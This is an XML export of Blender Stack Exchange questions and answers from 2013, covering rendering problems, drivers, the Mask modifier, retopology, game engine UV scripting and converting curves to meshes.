  <row Id="2887" PostTypeId="2" ParentId="2886" CreationDate="2013-09-13T17:41:40.380" Score="1" Body="&lt;p&gt;Is your keymapping set correctly in your Ubuntu conifg? On a QWERTY keyboard, the default for enabling all layers is backtick (&lt;kbd&gt;`&lt;/kbd&gt;... it's the top-left key, to the left of &lt;kbd&gt;1&lt;/kbd&gt;). Does that work for you?&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-09-13T17:41:40.380" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2888" PostTypeId="1" CreationDate="2013-09-13T19:09:30.290" Score="3" ViewCount="8420" Body="&lt;p&gt;I've got a  file and it fails to render, I'm not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit the render button a grey pixelated screen comes up and it doesn't seem to process. I've tried playing around with the settings, but I get nothing. When I hit Open GL render then it looks like the render version of the image, but  it doesn't include the background color scheme!&lt;/p&gt;&#xA;" OwnerUserId="1273" LastEditorUserId="3127" LastEditDate="2014-12-17T16:15:29.850" LastActivityDate="2014-12-17T16:15:29.850" Title="My Blender File Won't Render!" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2013-09-14T00:15:05.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="2889" PostTypeId="2" ParentId="2815" CreationDate="2013-09-13T20:20:22.720" Score="4" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;If the &lt;em&gt;Mouse Sensor&lt;/em&gt; is set to &lt;em&gt;Left Mouse Button&lt;/em&gt;, it will simply register if the mouse button is pressed, regardless where you do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;You can combine it with a &lt;em&gt;Mouse Over Sensor&lt;/em&gt; and use an &lt;em&gt;And Controller&lt;/em&gt;. Then the &lt;em&gt;Actuator&lt;/em&gt; is only triggered when the mouse is over the right object and LMB is pressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B83xE.png&quot; alt=&quot;Mouse Over&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T20:37:06.980" LastActivityDate="2013-09-13T20:37:06.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2890" PostTypeId="7" CreationDate="2013-09-13T21:00:34.573" Score="0" Body="&lt;ul&gt;&#xA;    &lt;li&gt;Specific issues with Blender&lt;/li&gt;&#xA;    &lt;li&gt;General CG workflows in Blender&#xA;    &lt;li&gt;Real problems or questions that you’ve encountered&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="12" LastEditDate="2013-09-13T21:00:34.573" LastActivityDate="2013-09-13T21:00:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2891" PostTypeId="7" CreationDate="2013-09-13T21:01:18.093" Score="0" Body="&lt;ul&gt;&#xA;    &lt;li&gt;Anything not directly related to Blender&lt;/li&gt;&#xA;    &lt;li&gt;Questions that are primarily opinion-based&lt;/li&gt;&#xA;    &lt;li&gt;Feature requests or possible bugs&lt;/li&gt;&#xA;    &lt;li&gt;Questions with many possible answers or that would need a very long answer&lt;/li&gt;&#xA;    &lt;li&gt;Questions about specific graphics-cards or hardware&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="55" LastEditDate="2014-01-12T09:03:53.097" LastActivityDate="2014-01-12T09:03:53.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2892" PostTypeId="1" AcceptedAnswerId="2894" CreationDate="2013-09-13T22:24:13.867" Score="9" ViewCount="5976" Body="&lt;p&gt;If the y location of a certain object is greater than 0, I want to add a fixed amount to another object's driven channel. How do I achieve that? &lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2014-12-23T07:48:48.917" LastActivityDate="2014-12-23T07:48:48.917" Title="Is it possible to put an if statement into the scripted expression of a driver?" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2893" PostTypeId="1" AcceptedAnswerId="2895" CreationDate="2013-09-13T22:46:35.243" Score="7" ViewCount="4288" Body="&lt;p&gt;I have learned a few minutes ago that you can type # into a numbutton to create a driver. So far the only value I know is frame. While this works nicely, it's still a bit limiting. What are the other possibilities I can input to create a driver on the fly which is a great feature btw?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T22:52:14.777" LastActivityDate="2013-09-14T00:08:20.963" Title="Other possible expressions like #frame" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2894" PostTypeId="2" ParentId="2892" CreationDate="2013-09-13T23:06:40.890" Score="14" Body="&lt;p&gt;A Python expression you can use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;valueIfTrue if isConditionTrue else valueIfFalse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is known as a &lt;code&gt;ternary conditional operator&lt;/code&gt; see:&lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/394809/ternary-conditional-operator-in-python&quot;&gt;https://stackoverflow.com/questions/394809/ternary-conditional-operator-in-python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-09-14T06:47:14.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2895" PostTypeId="2" ParentId="2893" CreationDate="2013-09-13T23:45:53.987" Score="6" Body="&lt;p&gt;&lt;code&gt;frame&lt;/code&gt; is currently the only updated value in the driver namespace. The rest are functions, available for use in scripted expression driver through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.app.html#bpy.app.driver_namespace&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.app.driver_namespace&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several modules are already pre-imported to the driver namespace, like &lt;a href=&quot;http://docs.python.org/3/library/builtins.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;builtins&lt;/code&gt;&lt;/a&gt;, &lt;code&gt;bpy&lt;/code&gt;, &lt;a href=&quot;http://docs.python.org/3/library/math.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;math&lt;/code&gt;&lt;/a&gt;, and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/mathutils.noise.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mathutils.noise&lt;/code&gt;&lt;/a&gt;. So, other than &lt;code&gt;frame&lt;/code&gt;, and unlike manually-registered functions, functions from these modules are available to scripted expression by default.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-14T00:08:20.963" LastActivityDate="2013-09-14T00:08:20.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2896" PostTypeId="1" AcceptedAnswerId="2898" CreationDate="2013-09-14T02:13:03.733" Score="6" ViewCount="17200" Body="&lt;p&gt;Is there an easy way to hide only part of a mesh for rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. something like a &quot;Delete&quot; modifier, where you could delete vertices only for rendering, then remove it and get all your &quot;deleted&quot; geometry back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there quick and simple way to do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-14T02:49:18.797" LastActivityDate="2020-10-06T02:05:02.240" Title="Hide geometry in render?" Tags="&lt;rendering&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2898" PostTypeId="2" ParentId="2896" CreationDate="2013-09-14T02:28:00.677" Score="11" Body="&lt;h2&gt;To restrict parts of a mesh from rendering&lt;/h2&gt;&#xA;&lt;p&gt;You can make use of the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/mask.html#mask-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mask Modifier&lt;/a&gt;&lt;/em&gt; for this.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Mask modifier allows certain parts of an object's mesh to be hidden from view (masked off), in effect making the parts of the mesh that are masked act as if they were no longer there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KAwiw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is probably the best way to go about this, any shader trick that selectively hides a mesh could cause problems depending on usage as transparent geometry is still outlined with Freestyle Line renderer for one. The mask modifier gets rid of it completely visually, but preserves physics etc.&lt;/p&gt;&#xA;&lt;h2&gt;To restrict an object from rendering&lt;/h2&gt;&#xA;&lt;p&gt;You can restrict entire objects from rendering by pressing the &lt;em&gt;camera&lt;/em&gt; icon in the &lt;em&gt;Outliner&lt;/em&gt; or by selecting the objects that you &lt;em&gt;&lt;strong&gt;do&lt;/strong&gt;&lt;/em&gt; want to render and using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;W&lt;/kbd&gt; &amp;gt; &lt;em&gt;Restrict Render Unselected&lt;/em&gt; to restrict any unselected objects from rendering.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you can exclude whole layers of objects via the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/layers/layers.html#view-layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;render layer&lt;/a&gt; settings.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-06T02:05:02.240" LastActivityDate="2020-10-06T02:05:02.240" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2900" PostTypeId="2" ParentId="2863" CreationDate="2013-09-14T10:07:27.817" Score="1" Body="&lt;p&gt;&lt;em&gt;No&lt;/em&gt;. You'll have to accept your cuts, align the view, and then continue.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="372" LastEditDate="2013-09-14T13:56:57.303" LastActivityDate="2013-09-14T13:56:57.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2901" PostTypeId="2" ParentId="2863" CreationDate="2013-09-14T14:01:35.693" Score="3" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; Nope. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; As you correctly state, such functions are modal operators, which are a type of operator. You cannot run two operators at once. Technically, such functions as &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;7&lt;/kbd&gt; are operators: the operator, in this case, is &lt;code&gt;bpy.ops.view3d.viewnumpad(type='TOP')&lt;/code&gt;. Even if you could see the &lt;em&gt;View&lt;/em&gt;, &lt;em&gt;Object&lt;/em&gt;, and &lt;em&gt;Select&lt;/em&gt; menus, you wouldn't be able to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem's not the shortcut. It's the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice for an operator to be able to be designated as &lt;code&gt;AMODAL&lt;/code&gt; or &lt;code&gt;DUAL&lt;/code&gt; or something like that, for an operator that does something like manipulate the view or snap the cursor to the center (another thing you can't do) so that it &lt;em&gt;could&lt;/em&gt; be run during a modal operator's &lt;code&gt;RUNNING&lt;/code&gt; state. Maybe one of the developers could implement this, but as of 2.68.0 r58537 it's not present.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-09-14T14:01:35.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2903" PostTypeId="1" AcceptedAnswerId="2911" CreationDate="2013-09-14T23:26:00.003" Score="8" ViewCount="783" Body="&lt;p&gt;&lt;strong&gt;What's the best way to handle a &quot;split&quot; in retopology?&lt;/strong&gt; Consider the case of a torso splitting into legs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vKciJ.png&quot; alt=&quot;A torso with two legs below it; there is a gap separating the two.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, each leg ring is made up of 16 vertices, as is the torso ring. What is the best way to attach these together with clean topology to create a good retopo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies to standard mesh modeling: &lt;strong&gt;what's the best way to create such a split with polygon manipulation?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="3127" LastEditDate="2014-12-17T16:12:58.043" LastActivityDate="2014-12-17T16:12:58.043" Title="How should I handle a split in a retopology?" Tags="&lt;mesh&gt;&lt;vertices&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2904" PostTypeId="1" AcceptedAnswerId="2921" CreationDate="2013-09-15T05:44:15.270" Score="5" ViewCount="1739" Body="&lt;p&gt;It seems that when exporting a model, the output .mtl file does not include reflectance coefficient, which in blender is set using under &quot;Mirror&quot; in &quot;Material&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LBxjJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .mtl file is as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender MTL File: 'None'&#xA;# Material Count: 1&#xA;&#xA;newmtl Material&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.640000 0.640000 0.640000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to include reflectance in this file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2013-09-15T20:52:27.013" Title="Export Wavefront .mtl file -- Where is the reflectance coefficient?" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2906" PostTypeId="2" ParentId="2857" CreationDate="2013-09-15T07:03:27.817" Score="3" Body="&lt;p&gt;Not all values in the VSE can be driven with drivers. I am glad that this worked however for those values. Also there is a great addon for GUI editing of Transform values in the preview window. Check out a demo and link to script at &lt;a href=&quot;https://www.youtube.com/watch?v=IZpnkoEkY3E&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=IZpnkoEkY3E&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2013-09-15T07:03:27.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2907" PostTypeId="2" ParentId="2885" CreationDate="2013-09-15T08:17:23.247" Score="4" Body="&lt;p&gt;The &lt;em&gt;Age&lt;/em&gt; output of the Particle Info node is measured in frames (like the particle setting itself). So the simplest way of normalizing the value (get it into 0..1 range) is to divide by the &lt;em&gt;Life&lt;/em&gt; setting of the particle system:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EE0q2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also divide by the &lt;em&gt;Lifetime&lt;/em&gt; output of Particle Info, giving the &lt;strong&gt;relative&lt;/strong&gt; age for each particle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DVwFQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however that the &lt;em&gt;Lifetime&lt;/em&gt; value can vary for each particle depending on the &lt;em&gt;Random&lt;/em&gt; factor in particle settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Divide by constant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UBMb7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Divide by &lt;em&gt;Lifetime&lt;/em&gt; (with &lt;em&gt;Random&lt;/em&gt; = 0.75)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGtSC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-15T08:17:23.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2908" PostTypeId="2" ParentId="2903" CreationDate="2013-09-15T09:29:53.670" Score="-1" Body="&lt;p&gt;This is how I would do it to maintain Quads, and hence good edge flow.&#xA;As you see I did it in half first, always easier than repeating yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvENA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2013-09-15T09:29:53.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2910" PostTypeId="1" AcceptedAnswerId="2916" CreationDate="2013-09-15T11:11:54.640" Score="3" ViewCount="322" Body="&lt;p&gt;I manipulate a game property using logic bricks. I can read the property in the following script and set the value of &lt;code&gt;bpy.context.scene.game_settings.stereo_eye_separation&lt;/code&gt; which is changed as long the value is less than 5.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, setting this value during runtime has no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any 'update' method I'm supposed to call or another way to apply the changes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;&#xA;co = bge.logic.getCurrentController()&#xA;print( co )&#xA;sep = co.owner[&quot;eye_separation&quot;]&#xA;print( &quot; property:%f&quot; % sep )&#xA;bpy.context.scene.game_settings.stereo_eye_separation = co.owner[&quot;eye_separation&quot;]&#xA;print( &quot;gs.stereo:%f&quot; % bpy.context.scene.game_settings.stereo_eye_separation )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-15T14:02:48.160" LastActivityDate="2013-09-15T14:40:34.557" Title="Can game settings be changed dynamically?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2911" PostTypeId="2" ParentId="2903" CreationDate="2013-09-15T12:15:26.860" Score="9" Body="&lt;p&gt;First step. Make flaps bending down between the legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t7eX0.png&quot; alt=&quot;Step1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a strip between them and make several loop cuts. You may have to experiment to find the correct number of loop cuts. This is important if you want to have an all quad model. The total number of edges around the opening must match the leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlmIz.png&quot; alt=&quot;Step2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Round out the strip to match the correct shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RO8Yw.png&quot; alt=&quot;Step3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the two loops and bridge them. If you have the correct number of loop cuts in the strip between the flaps, this should be all quads. Else you will get triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZZa5.png&quot; alt=&quot;Step4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further adjust the geometry to make the bridged area more even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0E4YH.png&quot; alt=&quot;Step5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TWMhD.png&quot; alt=&quot;Step6&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-09-15T12:15:26.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2912" PostTypeId="1" AcceptedAnswerId="2915" CreationDate="2013-09-15T13:13:13.850" Score="4" ViewCount="1963" Body="&lt;p&gt;I'd like to do a map in a game that moves with the actor. What is the proper syntax to move uv coordinates around and have the game engine update the result?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2018-07-19T23:05:02.520" Title="How do I change UV coordinates while the game engine is running?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2913" PostTypeId="1" CreationDate="2013-09-15T13:29:45.443" Score="2" ViewCount="53" Body="&lt;p&gt;I was wondering if it's possible to change the splash screen of the newest Blender version (2.68a). You could change the splash in previous versions via splash.png but I can't find it in 2.68a?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-09-15T13:29:45.443" Title="Custom splash screen in 2.68a?" Tags="&lt;customization&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2013-09-15T14:00:27.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="2914" PostTypeId="2" ParentId="2912" CreationDate="2013-09-15T14:01:44.287" Score="3" Body="&lt;p&gt;After another search session, I found the answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a working blendfile, see the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?250622-UV-Texture-Map-Location-Animation-Possible-using-python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenderartists thread, thanks to HG1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic # get the controller that executes the script&#xA;cont = logic.getCurrentController() # get the object that uses the controller&#xA;own = cont.owner     &#xA;&#xA;speed_x = 0.002 # speed by which the coordinates are moved      &#xA;speed_y = 0.0   # speed by which the coordinates are moved    &#xA;mesh = own.meshes[0] # access the mesh of the object in question    &#xA;v_array = mesh.getVertexArrayLength(0) # how many verts are there?      &#xA;for v in range(0,v_array): # go through the uv's of every vert&#xA;    vert = mesh.getVertex(0,v) &#xA;    uv = vert.getUV()         &#xA;    uv[0] += speed_x # change the uv coordinates. uv[0] = x, uv[1] = y&#xA;    uv[1] += speed_y        &#xA;    vert.setUV(uv) # get the game engine to notice the change!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of your script belongs into the controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gy9j5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-15T14:22:29.560" LastActivityDate="2013-09-15T14:22:29.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2915" PostTypeId="2" ParentId="2912" CreationDate="2013-09-15T14:32:32.547" Score="3" Body="&lt;p&gt;If you want to perform a &lt;a href=&quot;http://en.wikipedia.org/wiki/Linear_transformation#Examples_of_linear_transformation_matrices&quot; rel=&quot;nofollow&quot;&gt;linear transform&lt;/a&gt; such as translate or scale over all UVs, you can use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bge.types.KX_MeshProxy.html#bge.types.KX_MeshProxy.transformUV&quot; rel=&quot;nofollow&quot;&gt;mesh.transformUV&lt;/a&gt; function. To use this function, you would usually set up two channels like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uv_offset = [0, 0]&#xA;def init(c):&#xA;    # Copy UVs to second channel using an identity matrix.&#xA;    c.owner.meshes[0].transformUV(-1, mathutils.Matrix(), 1, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thereafter you can transform from that second channel using a custom matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update(c):&#xA;    # Transform stored original values and write to first channel.&#xA;    uv_offset[0] += SPEED_X&#xA;    uv_offset[1] += SPEED_Y&#xA;    uv_mat = mathutils.Matrix.Translation((uv_offset[0], uv_offset[1], 0))&#xA;    c.owner.meshes[0].transformUV(-1, uv_mat, 0, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This avoids the need to iterate over the vertices in your script, so it may be faster for large meshes. You can also perform multiple transforms at once, e.g. scale and translate, by multiplying two matrices together.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="1146" LastEditDate="2013-09-15T23:51:05.333" LastActivityDate="2013-09-15T23:51:05.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2916" PostTypeId="2" ParentId="2910" CreationDate="2013-09-15T14:40:34.557" Score="4" Body="&lt;p&gt;The &lt;code&gt;bpy&lt;/code&gt; module is unlikely to have any effect during game play; you should use &lt;code&gt;bge&lt;/code&gt; instead. Try &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bge.render.html#bge.render.setEyeSeparation&quot; rel=&quot;nofollow&quot;&gt;bge.render.setEyeSeparation()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2013-09-15T14:40:34.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2917" PostTypeId="1" AcceptedAnswerId="2919" CreationDate="2013-09-15T15:50:58.703" Score="49" ViewCount="224511" Body="&lt;p&gt;Is is possible to remove the curves and only have the mesh of a tree that was created with the saplings add-on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to apply a decimate modifier to have a few low-poly trees, but this doesn't work because of the curves. I get this message: &quot;Cannot apply constructive modifiers on a curve.&quot;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-09-16T21:09:36.343" LastActivityDate="2021-02-19T01:13:16.927" Title="How can curves be converted to meshes?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;conversion&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2918" PostTypeId="1" AcceptedAnswerId="2923" CreationDate="2013-09-15T16:08:26.980" Score="6" ViewCount="2251" Body="&lt;p&gt;Is there any way to interface with blender using IPython in blender 2.68? I have tried many many options over the past couple of days and none of them have worked for me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option for me would be if I could use IPython in the terminal I initiated blender with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using &lt;code&gt;IPython.embed&lt;/code&gt; with no success, and I also have tried &lt;a href=&quot;http://pythonide.blogspot.com/2009/03/resumable-ipython-inside-blender_31.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt;, but I can't get it to work with blender 2.68a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is a way to start an instance of blender from within an IPython session? &lt;/p&gt;&#xA;" OwnerUserId="1276" LastEditorUserId="6204" LastEditDate="2016-11-29T16:55:18.007" LastActivityDate="2021-04-16T16:36:40.400" Title="How to interface with blender using IPython from terminal?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2919" PostTypeId="2" ParentId="2917" CreationDate="2013-09-15T16:16:39.917" Score="48" Body="&lt;p&gt;The reason you can't use a &quot;constructive modifier&quot; on a curve is because a curve has to be defined by mathematical control points instead of free-floating vertices. You can visualize the decimate modifier in the viewport or render, but if you were to actually apply it you might create a shape that can't be represented by the control point equations, and then you would have broken mathematics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to fix this is to convert your curve to a mesh. Select the tree and use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ovay6.png&quot; alt=&quot;Convert menu option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZ689.png&quot; alt=&quot;Result of conversion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then any mesh-based modifiers will work fine.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-09-15T16:16:39.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
